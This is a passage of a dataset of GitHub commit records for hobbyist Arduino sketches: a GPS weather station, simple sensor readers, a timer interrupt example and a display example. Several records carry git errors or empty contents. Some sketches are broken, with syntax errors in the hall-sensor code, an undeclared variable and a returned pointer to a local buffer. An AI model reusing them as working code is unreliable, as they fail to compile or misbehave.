arduino-code\n","repos":"tihlde\/ircbot","old_file":"cdMotor\/cdMotor.ino","new_file":"cdMotor\/cdMotor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tihlde\/ircbot.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"85785ebaa89324a07ac310de81bba5d3c6bf7085","subject":"Added Version 1 (Arduino Uno, no comms) used initially by LRWHF","message":"Added Version 1 (Arduino Uno, no comms) used initially by LRWHF","repos":"YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS","old_file":"mwsLRWHFv1\/Weather_Shield_with_GPS.ino","new_file":"mwsLRWHFv1\/Weather_Shield_with_GPS.ino","new_contents":"\/* \n Weather Shield Example\n By: Nathan Seidle\n SparkFun Electronics\n Date: November 16th, 2013\n License: This code is public domain but you buy me a beer if you use this and we meet someday (Beerware license).\n \n Much of this is based on Mike Grusin's USB Weather Board code: https:\/\/www.sparkfun.com\/products\/10586\n \n This code reads all the various sensors (wind speed, direction, rain gauge, humidty, pressure, light, batt_lvl)\n and reports it over the serial comm port. This can be easily routed to an datalogger (such as OpenLog) or\n a wireless transmitter (such as Electric Imp).\n \n Measurements are reported once a second but windspeed and rain gauge are tied to interrupts that are\n calcualted at each report.\n \n This example code assumes the GP-635T GPS module is attached.\n \n *\/\n\n#include <Wire.h> \/\/I2C needed for sensors\n#include \"MPL3115A2.h\" \/\/Pressure sensor\n#include \"HTU21D.h\" \/\/Humidity sensor\n#include <SoftwareSerial.h> \/\/Needed for GPS\n#include <TinyGPS++.h> \/\/GPS parsing\n\n\/\/this is for RTC\nint clockAddress = 0x68; \/\/ This is the I2C address\nint command = 0; \/\/ This is the command char, in ascii form, sent from the serial port \nlong previousMillis = 0; \/\/ will store last time Temp was updated\nbyte second, minute, hour, dayOfWeek, dayOfMonth, month, year;\n\nbyte decToBcd(byte val)\n{\n return ( (val\/10*16) + (val%10) );\n}\n\n\/\/ Convert binary coded decimal to normal decimal numbers\nbyte bcdToDec(byte val)\n{\n return ( (val\/16*10) + (val%16) );\n}\n\n\/\/ Gets the date and time from the ds1307 and prints result\nchar* getDateDs1307(int flag) {\n \/\/if flag == 0 : date output\n \/\/if flag == 1 : time output\n \/\/ Reset the register pointer\n Wire.beginTransmission(clockAddress);\n Wire.write(byte(0x00));\n Wire.endTransmission();\n\n Wire.requestFrom(clockAddress, 7);\n\n \/\/ A few of these need masks because certain bits are control bits\n second = bcdToDec(Wire.read() & 0x7f);\n minute = bcdToDec(Wire.read());\n\n \/\/ Need to change this if 12 hour am\/pm\n hour = bcdToDec(Wire.read() & 0x3f); \n dayOfWeek = bcdToDec(Wire.read());\n dayOfMonth = bcdToDec(Wire.read());\n month = bcdToDec(Wire.read());\n year = bcdToDec(Wire.read());\n\n char sza[32];\n if (flag==0)\n sprintf(sza, \"%02d-%02d-%02d\",year,month,dayOfMonth);\n if (flag==1)\n sprintf(sza, \"%02d:%02d:%02d\",hour,minute,second);\n return(sza);\n}\n\/\/end of RTC\n\n\nTinyGPSPlus gps;\n\nstatic const int RXPin = 5, TXPin = 4; \/\/GPS is attached to pin 4(TX from GPS) and pin 5(RX into GPS)\nSoftwareSerial ss(RXPin, TXPin); \n\nMPL3115A2 myPressure; \/\/Create an instance of the pressure sensor\nHTU21D myHumidity; \/\/Create an instance of the humidity sensor\n\n\/\/Hardware pin definitions\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/ digital I\/O pins\nconst byte WSPEED = 3;\nconst byte RAIN = 2;\nconst byte STAT1 = 7;\nconst byte STAT2 = 8;\nconst byte GPS_PWRCTL = 6; \/\/Pulling this pin low puts GPS to sleep but maintains RTC and RAM\n\n\/\/ analog I\/O pins\nconst byte REFERENCE_3V3 = A3;\nconst byte LIGHT = A1;\nconst byte BATT = A2;\nconst byte WDIR = A0;\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\/\/Global Variables\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nlong lastSecond; \/\/The millis counter to see when a second rolls by\nbyte seconds; \/\/When it hits 60, increase the current minute\nbyte seconds_2m; \/\/Keeps track of the \"wind speed\/dir avg\" over last 2 minutes array of data\nbyte minutes; \/\/Keeps track of where we are in various arrays of data\nbyte minutes_10m; \/\/Keeps track of where we are in wind gust\/dir over last 10 minutes array of data\n\nlong lastWindCheck = 0;\nvolatile long lastWindIRQ = 0;\nvolatile byte windClicks = 0;\n\n\/\/We need to keep track of the following variables:\n\/\/Wind speed\/dir each update (no storage)\n\/\/Wind gust\/dir over the day (no storage)\n\/\/Wind speed\/dir, avg over 2 minutes (store 1 per second)\n\/\/Wind gust\/dir over last 10 minutes (store 1 per minute)\n\/\/Rain over the past hour (store 1 per minute)\n\/\/Total rain over date (store one per day)\n\nbyte windspdavg[120]; \/\/120 bytes to keep track of 2 minute average\nint winddiravg[120]; \/\/120 ints to keep track of 2 minute average\nfloat windgust_10m[10]; \/\/10 floats to keep track of 10 minute max\nint windgustdirection_10m[10]; \/\/10 ints to keep track of 10 minute max\nvolatile float rainHour[60]; \/\/60 floating numbers to keep track of 60 minutes of rain\n\n\/\/These are all the weather values that wunderground expects:\nint winddir = 0; \/\/ [0-360 instantaneous wind direction]\nfloat windspeedms = 0; \/\/ [mph instantaneous wind speed]\nfloat windgustms = 0; \/\/ [mph current wind gust, using software specific time period]\nint windgustdir = 0; \/\/ [0-360 using software specific time period]\nfloat windspdms_avg2m = 0; \/\/ [mph 2 minute average wind speed mph]\nint winddir_avg2m = 0; \/\/ [0-360 2 minute average wind direction]\nfloat windgustms_10m = 0; \/\/ [mph past 10 minutes wind gust mph ]\nint windgustdir_10m = 0; \/\/ [0-360 past 10 minutes wind gust direction]\nfloat humidity = 0; \/\/ [%]\nfloat tempf = 0; \/\/ [temperature F]\nfloat rainin = 0; \/\/ [rain inches over the past hour)] -- the accumulated rainfall in the past 60 min\nvolatile float dailyrainin = 0; \/\/ [rain inches so far today in local time]\n\/\/float baromin = 30.03;\/\/ [barom in] - It's hard to calculate baromin locally, do this in the agent\nfloat pressure = 0;\n\/\/float dewptf; \/\/ [dewpoint F] - It's hard to calculate dewpoint locally, do this in the agent\n\nfloat batt_lvl = 11.8; \/\/[analog value from 0 to 1023]\nfloat light_lvl = 455; \/\/[analog value from 0 to 1023]\n\/\/Rain time stamp\nint Rainindi=0;\n\/\/Variables used for GPS\n\/\/float flat, flon; \/\/ 39.015024 -102.283608686\n\/\/unsigned long age;\n\/\/int year;\n\/\/byte month, day, hour, minute, second, hundredths;\n\n\/\/ volatiles are subject to modification by IRQs\nvolatile unsigned long raintime, rainlast, raininterval, rain, Rainindinter, Rainindtime, Rainindlast;\n\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\/\/Interrupt routines (these are called by the hardware interrupts, not by the main code)\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nvoid rainIRQ()\n\/\/ Count rain gauge bucket tips as they occur\n\/\/ Activated by the magnet and reed switch in the rain gauge, attached to input D2\n{\n raintime = millis(); \/\/ grab current time\n raininterval = raintime - rainlast; \/\/ calculate interval between this and last event\n\n if (raininterval > 10) \/\/ ignore switch-bounce glitches less than 10mS after initial edge\n {\n dailyrainin += 0.011*25.4; \/\/Each dump is 0.011\" of water\n rainHour[minutes] += 0.011*25.4; \/\/Increase this minute's amount of rain\n\n rainlast = raintime; \/\/ set up for next event\n }\n \n \/\/Rain or not (1 or 0)\n if(rainin >0)\n {\n Rainindi=1;\n Rainindtime = millis();\n }\n if(rainin ==0)\n {\n Rainindi=0; \n Rainindlast = millis();\n Rainindlast = Rainindtime;\n }\n Rainindinter = Rainindlast - Rainindtime;\n \n}\n\nvoid wspeedIRQ()\n\/\/ Activated by the magnet in the anemometer (2 ticks per rotation), attached to input D3\n{\n if (millis() - lastWindIRQ > 10) \/\/ Ignore switch-bounce glitches less than 10ms (142MPH max reading) after the reed switch closes\n {\n lastWindIRQ = millis(); \/\/Grab the current time\n windClicks++; \/\/There is 1.492MPH for each click per second.\n }\n \n}\n\n\nvoid setup()\n{\n Serial.begin(9600);\n\n ss.begin(9600); \/\/Begin listening to GPS over software serial at 9600. This should be the default baud of the module.\n\n pinMode(STAT1, OUTPUT); \/\/Status LED Blue\n pinMode(STAT2, OUTPUT); \/\/Status LED Green\n \n pinMode(GPS_PWRCTL, OUTPUT);\n digitalWrite(GPS_PWRCTL, HIGH); \/\/Pulling this pin low puts GPS to sleep but maintains RTC and RAM\n \n pinMode(WSPEED, INPUT_PULLUP); \/\/ input from wind meters windspeed sensor\n pinMode(RAIN, INPUT_PULLUP); \/\/ input from wind meters rain gauge sensor\n \n pinMode(REFERENCE_3V3, INPUT);\n pinMode(LIGHT, INPUT);\n\n \/\/Configure the pressure sensor\n myPressure.begin(); \/\/ Get sensor online\n myPressure.setModeBarometer(); \/\/ Measure pressure in Pascals from 20 to 110 kPa\n myPressure.setOversampleRate(7); \/\/ Set Oversample to the recommended 128\n myPressure.enableEventFlags(); \/\/ Enable all three pressure and temp event flags \n\n \/\/Configure the humidity sensor\n myHumidity.begin();\n\n seconds = 0;\n lastSecond = millis();\n\n \/\/ attach external interrupt pins to IRQ functions\n attachInterrupt(0, rainIRQ, FALLING);\n attachInterrupt(1, wspeedIRQ, FALLING);\n\n \/\/ turn on interrupts\n interrupts();\n\n \/\/Serial.println(\"Weather Shield online!\");\n\n}\n\nvoid loop()\n{\n \/\/Keep track of which minute it is\n if(millis() - lastSecond >= 1000)\n {\n digitalWrite(STAT1, HIGH); \/\/Blink stat LED\n \n lastSecond += 1000;\n\n \/\/Take a speed and direction reading every second for 2 minute average\n if(++seconds_2m > 119) seconds_2m = 0;\n\n \/\/Calc the wind speed and direction every second for 120 second to get 2 minute average\n float currentSpeed = get_wind_speed();\n \/\/float currentSpeed = random(5); \/\/For testing\n int currentDirection = get_wind_direction();\n windspdavg[seconds_2m] = (int)currentSpeed;\n winddiravg[seconds_2m] = currentDirection;\n \/\/if(seconds_2m % 10 == 0) displayArrays(); \/\/For testing\n\n \/\/Check to see if this is a gust for the minute\n if(currentSpeed > windgust_10m[minutes_10m])\n {\n windgust_10m[minutes_10m] = currentSpeed;\n windgustdirection_10m[minutes_10m] = currentDirection;\n }\n\n \/\/Check to see if this is a gust for the day\n if(currentSpeed > windgustms)\n {\n windgustms = currentSpeed;\n windgustdir = currentDirection;\n }\n \n if(++seconds > 59)\n {\n seconds = 0;\n\n if(++minutes > 59) minutes = 0;\n if(++minutes_10m > 9) minutes_10m = 0;\n\n rainHour[minutes] = 0; \/\/Zero out this minute's rainfall amount\n windgust_10m[minutes_10m] = 0; \/\/Zero out this minute's gust\n }\n\n \/\/Report all readings every second\n printWeather();\n\n digitalWrite(STAT1, LOW); \/\/Turn off stat LED\n }\n\n smartdelay(800); \/\/Wait 1 second, and gather GPS data\n}\n\n\/\/While we delay for a given amount of time, gather GPS data\nstatic void smartdelay(unsigned long ms)\n{\n unsigned long start = millis();\n do \n {\n while (ss.available())\n gps.encode(ss.read());\n } while (millis() - start < ms);\n}\n\n\n\/\/Calculates each of the variables that wunderground is expecting\nvoid calcWeather()\n{\n \/\/Calc winddir\n winddir = get_wind_direction();\n\n \/\/Calc windspeed\n windspeedms = get_wind_speed();\n\n \/\/Calc windgustms\n \/\/Calc windgustdir\n \/\/Report the largest windgust today\n windgustms = 0;\n windgustdir = 0;\n\n \/\/Calc windspdms_avg2m\n float temp = 0;\n for(int i = 0 ; i < 120 ; i++)\n temp += windspdavg[i];\n temp \/= 120.0;\n windspdms_avg2m = temp;\n\n \/\/Calc winddir_avg2m\n temp = 0; \/\/Can't use winddir_avg2m because it's an int\n for(int i = 0 ; i < 120 ; i++)\n temp += winddiravg[i];\n temp \/= 120;\n winddir_avg2m = temp;\n\n \/\/Calc windgustms_10m\n \/\/Calc windgustdir_10m\n \/\/Find the largest windgust in the last 10 minutes\n windgustms_10m = 0;\n windgustdir_10m = 0;\n \/\/Step through the 10 minutes \n for(int i = 0; i < 10 ; i++)\n {\n if(windgust_10m[i] > windgustms_10m)\n {\n windgustms_10m = windgust_10m[i];\n windgustdir_10m = windgustdirection_10m[i];\n }\n }\n\n \/\/Calc humidity\n humidity = myHumidity.readHumidity();\n \/\/float temp_h = myHumidity.readTemperature();\n \/\/Serial.print(\" TempH:\");\n \/\/Serial.print(temp_h, 2);\n\n \/\/Calc tempf from pressure sensor\n tempf = myPressure.readTemp();\n \/\/Serial.print(\" TempP:\");\n \/\/Serial.print(tempf, 2);\n\n \/\/Total rainfall for the day is calculated within the interrupt\n \/\/Calculate amount of rainfall for the last 60 minutes\n rainin = 0; \n for(int i = 0 ; i < 60 ; i++)\n rainin += rainHour[i];\n\n \/\/Calc pressure\n pressure = myPressure.readPressure();\n\n \/\/Calc dewptf\n\n \/\/Calc light level\n light_lvl = get_light_level();\n\n \/\/Calc battery level\n batt_lvl = get_battery_level();\n \n}\n\n\/\/Returns the voltage of the light sensor based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\nfloat get_light_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n\n float lightSensor = analogRead(LIGHT);\n \n operatingVoltage = 3.3 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n \n lightSensor = operatingVoltage * lightSensor;\n \n return(lightSensor);\n}\n\n\/\/Returns the voltage of the raw pin based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\n\/\/Battery level is connected to the RAW pin on Arduino and is fed through two 5% resistors:\n\/\/3.9K on the high side (R1), and 1K on the low side (R2)\nfloat get_battery_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n\n float rawVoltage = analogRead(BATT);\n \n operatingVoltage = 3.30 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n \n rawVoltage = operatingVoltage * rawVoltage; \/\/Convert the 0 to 1023 int to actual voltage on BATT pin\n \n rawVoltage *= 4.90; \/\/(3.9k+1k)\/1k - multiple BATT voltage by the voltage divider to get actual system voltage\n \n return(rawVoltage);\n}\n\n\/\/Returns the instataneous wind speed\nfloat get_wind_speed()\n{\n float deltaTime = millis() - lastWindCheck; \/\/750ms\n\n deltaTime \/= 1000.0; \/\/Convert to seconds\n\n float windSpeed = (float)windClicks \/ deltaTime; \/\/3 \/ 0.750s = 4\n\n windClicks = 0; \/\/Reset and start watching for new wind\n lastWindCheck = millis();\n\n \/\/windSpeed *= 1.492; \/\/4 * 1.492 = 5.968MPH\n\n \/* Serial.println();\n Serial.print(\"Windspeed:\");\n Serial.println(windSpeed);*\/\n\n return(windSpeed);\n}\n\n\/\/Read the wind direction sensor, return heading in degrees\nint get_wind_direction() \n{\n unsigned int adc;\n\n adc = analogRead(WDIR); \/\/ get the current reading from the sensor\n\n \/\/ The following table is ADC readings for the wind direction sensor output, sorted from low to high.\n \/\/ Each threshold is the midpoint between adjacent headings. The output is degrees for that ADC reading.\n \/\/ Note that these are not in compass degree order! See Weather Meters datasheet for more information.\n\n if (adc < 380) return (113);\n if (adc < 393) return (68);\n if (adc < 414) return (90);\n if (adc < 456) return (158);\n if (adc < 508) return (135);\n if (adc < 551) return (203);\n if (adc < 615) return (180);\n if (adc < 680) return (23);\n if (adc < 746) return (45);\n if (adc < 801) return (248);\n if (adc < 833) return (225);\n if (adc < 878) return (338);\n if (adc < 913) return (0);\n if (adc < 940) return (293);\n if (adc < 967) return (315);\n if (adc < 990) return (270);\n return (-1); \/\/ error, disconnected?\n}\n\n\n\/\/Prints the various variables directly to the port\n\/\/I don't like the way this function is written but Arduino doesn't support floats under sprintf\nvoid printWeather()\n{\n calcWeather(); \/\/Go calc all the various sensors\n\n Serial.println();\n Serial.print(\"$,lon=\");\n Serial.print(gps.location.lng(), 6);\n Serial.print(\",lat=\");\n Serial.print(gps.location.lat(), 6);\n Serial.print(\",altitude=\");\n Serial.print(gps.altitude.meters());\n Serial.print(\",sats=\");\n Serial.print(gps.satellites.value());\n\n char sz[32];\n Serial.print(\",date=\");\n sprintf(sz, \"%02d-%02d-%02d\", gps.date.year(), gps.date.month(), gps.date.day());\n Serial.print(sz);\n\n Serial.print(\",time=\");\n sprintf(sz, \"%02d:%02d:%02d\", gps.time.hour(), gps.time.minute(), gps.time.second());\n Serial.print(sz);\n\n Serial.print(\",RTCdate=20\");\n sprintf(sz, \"%s\", getDateDs1307(0));\n Serial.print(sz); \n Serial.print(\",RTCtime=\");\n sprintf(sz, \"%s\", getDateDs1307(1));\n Serial.print(sz); \n\n Serial.print(\",winddir=\");\n Serial.print(winddir);\n Serial.print(\",windspeedms=\");\n Serial.print(windspeedms, 1);\n Serial.print(\",windgustms=\");\n Serial.print(windgustms, 1);\n Serial.print(\",windgustdir=\");\n Serial.print(windgustdir);\n Serial.print(\",windspdms_avg2m=\");\n Serial.print(windspdms_avg2m, 1);\n Serial.print(\",winddir_avg2m=\");\n Serial.print(winddir_avg2m);\n Serial.print(\",windgustms_10m=\");\n Serial.print(windgustms_10m, 1);\n Serial.print(\",windgustdir_10m=\");\n Serial.print(windgustdir_10m);\n Serial.print(\",humidity=\");\n Serial.print(humidity, 1);\n Serial.print(\",tempc=\");\n Serial.print(tempf, 1);\n Serial.print(\",rainhourmm=\");\n Serial.print(rainin, 2);\n Serial.print(\",raindailymm=\");\n Serial.print(dailyrainin, 2);\n Serial.print(\",rainindicate=\");\n Serial.print(Rainindi,1);\n Serial.print(\",raindura=\");\n Serial.print(Rainindinter);\n Serial.print(\",pressure=\");\n Serial.print(pressure, 2);\n Serial.print(\",batt_lvl=\");\n Serial.print(batt_lvl, 2);\n Serial.print(\",light_lvl=\");\n Serial.print(light_lvl, 2);\n \n\n Serial.print(\",\");\n Serial.println(\"#\");\n\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mwsLRWHFv1\/Weather_Shield_with_GPS.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"304f4ec770e0df89766731c2caea2fa0c503e387","subject":"Added a quick bit of test code to help characterise sensing circuit.","message":"Added a quick bit of test code to help characterise sensing circuit.\n","repos":"whaleygeek\/punchcard_reader","old_file":"ReadSensors\/ReadSensors.ino","new_file":"ReadSensors\/ReadSensors.ino","new_contents":"#define REGISTRATION A0\n#define D7 A1\n\nvoid setup()\n{\n Serial.begin(115200); \n}\n\nvoid loop()\n{\n delay(250);\n \n unsigned int reg = analogRead(A0);\n unsigned int d7 = analogRead(D7);\n \n Serial.print(reg);\n Serial.print(\",\");\n Serial.println(d7);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ReadSensors\/ReadSensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"01ea9843e729b5520e0ef76337fa7e60a88731b0","subject":"prueba","message":"prueba\n\nAgrego sketch de implementacion preliminar de luces de giro\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/pocs\/Luz_Giro_Cuenta_vueltas\/Luz_Giro_Cuenta_vueltas.ino","new_file":"Arduino\/pocs\/Luz_Giro_Cuenta_vueltas\/Luz_Giro_Cuenta_vueltas.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d09623fbc18b9e988288098872529fe0633a4a9a","subject":"code to read hall sensor and print to serial from arduino","message":"code to read hall sensor and print to serial from arduino\n","repos":"MSOE-Supermileage\/datacollector,MSOE-Supermileage\/datacollector,MSOE-Supermileage\/datacollector","old_file":"arduino\/rpm_serial_hall.ino","new_file":"arduino\/rpm_serial_hall.ino","new_contents":"}\/*\nArduino Hall Effect Sensor Project\nby Arvind Sanjeev\nPlease check out http:\/\/diyhacking.com for the tutorial of this project.\nDIY Hacking\n*\/\n\n volatile byte revs;\n unsigned int rpm;\n unsigned long timeold;\n void setup()\n {\n Serial.begin(9600);\n attachInterrupt(0, magnet_detect, RISING);\/\/Initialize the intterrupt pin (Arduino digital pin 2)\n revs = 0;\n rpm = 0;\n timeold = 0;\n }\n void loop()\/\/Measure RPM\n {\n if (revs >= 5) { \n rpm = revs\/((millis() - timeold)\/1000\/60)\n timeold = millis();\n revs = 0;\n Serial.println(rpm,DEC);\n }\n }\n void magnet_detect()\/\/This function is called whenever a magnet\/interrupt is detected by the arduino\n {\n revs++;\n Serial.println(\"detect\");+\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/rpm_serial_hall.ino' did not match any file(s) known to git\n","license":"epl-1.0","lang":"Arduino"} {"commit":"ee33bce854831b345bc857dc9f4723a996cf8228","subject":"Adding arduino code for photo sensor","message":"Adding arduino code for photo sensor\n","repos":"floread-org\/floread,floread-org\/floread","old_file":"Arduino\/photo.ino","new_file":"Arduino\/photo.ino","new_contents":"\/\/Initialize p\nint photoResistor = 0; \n\/\/Input of photoResistor from sensor\nint photoOutput; \n \nvoid setup(void) {\n \/\/ Set baud rate to 9600\n Serial.begin(9600); \n}\n \nvoid loop(void) {\n \/\/Read from analog input A0 on board\n photoOutput = analogRead(photoResistor); \n\n \/\/Display reading\n Serial.println(\"Sensor Reading = \");\n Serial.println(photoOutput);\n\n \/\/Set dealy to 1 second\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/photo.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d6d41e5c1f9e80fc935cb7684e76f766eca69533","subject":"Create interrupt.ino","message":"Create interrupt.ino","repos":"nricciar\/launchpad_scripts,nricciar\/launchpad_scripts","old_file":"interrupt.ino","new_file":"interrupt.ino","new_contents":"\/*\n A Timer Interrupt Example\n *\/\n#include \"Energia.h\"\n#include \"inc\/hw_ints.h\"\n#include \"inc\/hw_memmap.h\"\n#include \"driverlib\/interrupt.h\"\n#include \"driverlib\/pin_map.h\"\n#include \"driverlib\/rom.h\"\n#include \"driverlib\/timer.h\"\n#include \"driverlib\/sysctl.h\"\n\nvoid SamplerInterrupt(void)\n{\n \/\/ clear the timer interrupt\n ROM_TimerIntClear(TIMER0_BASE, TIMER_TIMA_TIMEOUT);\n\n count++;\n}\n\nvoid setup()\n{\n \/\/ init serial port\n Serial.begin(9600);\n\n \/\/ initialise the sampler interrupt\n ROM_SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0);\n ROM_TimerConfigure(TIMER0_BASE, TIMER_CFG_PERIODIC);\n TimerIntRegister(TIMER0_BASE, TIMER_A, SamplerInterrupt);\n ROM_TimerEnable(TIMER0_BASE, TIMER_A);\n ROM_IntEnable(INT_TIMER0A);\n ROM_TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT);\n}\n\nvoid loop()\n{\n \/\/ start the timer then loop forever\n ROM_TimerLoadSet(TIMER0_BASE, TIMER_A, 2498); \/\/ 2498 =~ 48000Hz\n while (1)\n {\n Serial.println(count);\n count = 0;\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'interrupt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eecbc62821a91b8ca570121a38fe013fc8e2ee89","subject":"EUREKA! Crazy breakthrough! Performant algoritm NFC","message":"EUREKA! Crazy breakthrough! Performant algoritm NFC\n\nchar array devided in pieces each step until they are the same!\n","repos":"OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK","old_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Devide_Algo_id\/Devide_Algo_id.ino","new_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Devide_Algo_id\/Devide_Algo_id.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartKitchen-Emdebbed' did not match any file(s) known to git\nerror: pathspec 'System\/Software\/Arduino\/Devide_Algo_id\/Devide_Algo_id.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c3b0a296ec72ac28b175ab07c225d2d92143f3bd","subject":"Create Firmware.ino","message":"Create Firmware.ino","repos":"UCHIC\/WaterMonitor","old_file":"src\/piggy_back_loggers\/SD_prototype_Firmware\/Firmware\/Firmware.ino","new_file":"src\/piggy_back_loggers\/SD_prototype_Firmware\/Firmware\/Firmware.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/piggy_back_loggers\/SD_prototype_Firmware\/Firmware\/Firmware.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"12add6b94b4f200f5a4be1c9f822837490140764","subject":"code to help characterize RE-TRIGGER vs NO-RE-TRIGGER","message":"code to help characterize RE-TRIGGER vs NO-RE-TRIGGER\n\n- tracks output of PIR with LED\n- displays elapsed time of previous state upon state transitions\n","repos":"boscomonkey\/lazy-susan-arduino,boscomonkey\/lazy-susan-arduino","old_file":"pir-sensor-led\/pir-sensor-led.ino","new_file":"pir-sensor-led\/pir-sensor-led.ino","new_contents":"\/\/-*- C -*-\n\n\/*\n pir-sensor-led\n\n Tracks output of PIR with LED.\n\n Also displays, in the console, milliseconds spent in a previous\n state when state transitions occur. Useful for observing the\n differences between RE-TRIGGER and NO-RE-TRIGGER.\n\n Inspired by http:\/\/playground.arduino.cc\/Code\/PIRsense\n *\/\n\n\/\/ amount of time we give the sensor to calibrate (10-60 secs\n\/\/ according to the datasheet)\nint calibrationTime = 60;\n\nint pirPin = 3; \/\/the digital pin connected to the PIR sensor's output\nint ledPin = 13;\n\nint lastPir;\nunsigned long lastTime;\n\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(pirPin, INPUT);\n pinMode(ledPin, OUTPUT);\n digitalWrite(pirPin, LOW);\n\n \/\/give the sensor some time to calibrate\n Serial.print(\"calibrating sensor \");\n for (int i = 0; i < calibrationTime; i++) {\n Serial.print(digitalRead(pirPin));\n delay(500);\n }\n Serial.println(\" done\");\n Serial.println(\"SENSOR ACTIVE\");\n\n lastPir = digitalRead(pirPin);\n lastTime = millis();\n}\n\n\nvoid loop() {\n int pirValue = digitalRead(pirPin);\n unsigned long nowTime = millis();\n\n \/\/ only check for transitions\n if (pirValue != lastPir) {\n unsigned long elapsed = nowTime - lastTime;\n\n Serial.print(elapsed);\n Serial.print(\"\\t\");\n Serial.println(lastPir);\n\n digitalWrite(ledPin, pirValue);\n\n lastPir = pirValue;\n lastTime = nowTime;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pir-sensor-led\/pir-sensor-led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d7b8f1753bf44d43d3cc9d06fc2e66ba969a8dc","subject":"Added sketch for NanoCanvas8","message":"Added sketch for NanoCanvas8","repos":"lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306","old_file":"examples\/nano_canvas8\/nano_canvas8.ino","new_file":"examples\/nano_canvas8\/nano_canvas8.ino","new_contents":"\/*\r\n MIT License\r\n\r\n Copyright (c) 2018, Alexey Dynda\r\n\r\n Permission is hereby granted, free of charge, to any person obtaining a copy\r\n of this software and associated documentation files (the \"Software\"), to deal\r\n in the Software without restriction, including without limitation the rights\r\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n copies of the Software, and to permit persons to whom the Software is\r\n furnished to do so, subject to the following conditions:\r\n\r\n The above copyright notice and this permission notice shall be included in all\r\n copies or substantial portions of the Software.\r\n\r\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n SOFTWARE.\r\n*\/\r\n\/**\r\n * Nano\/Atmega328 PINS: connect LCD to D5 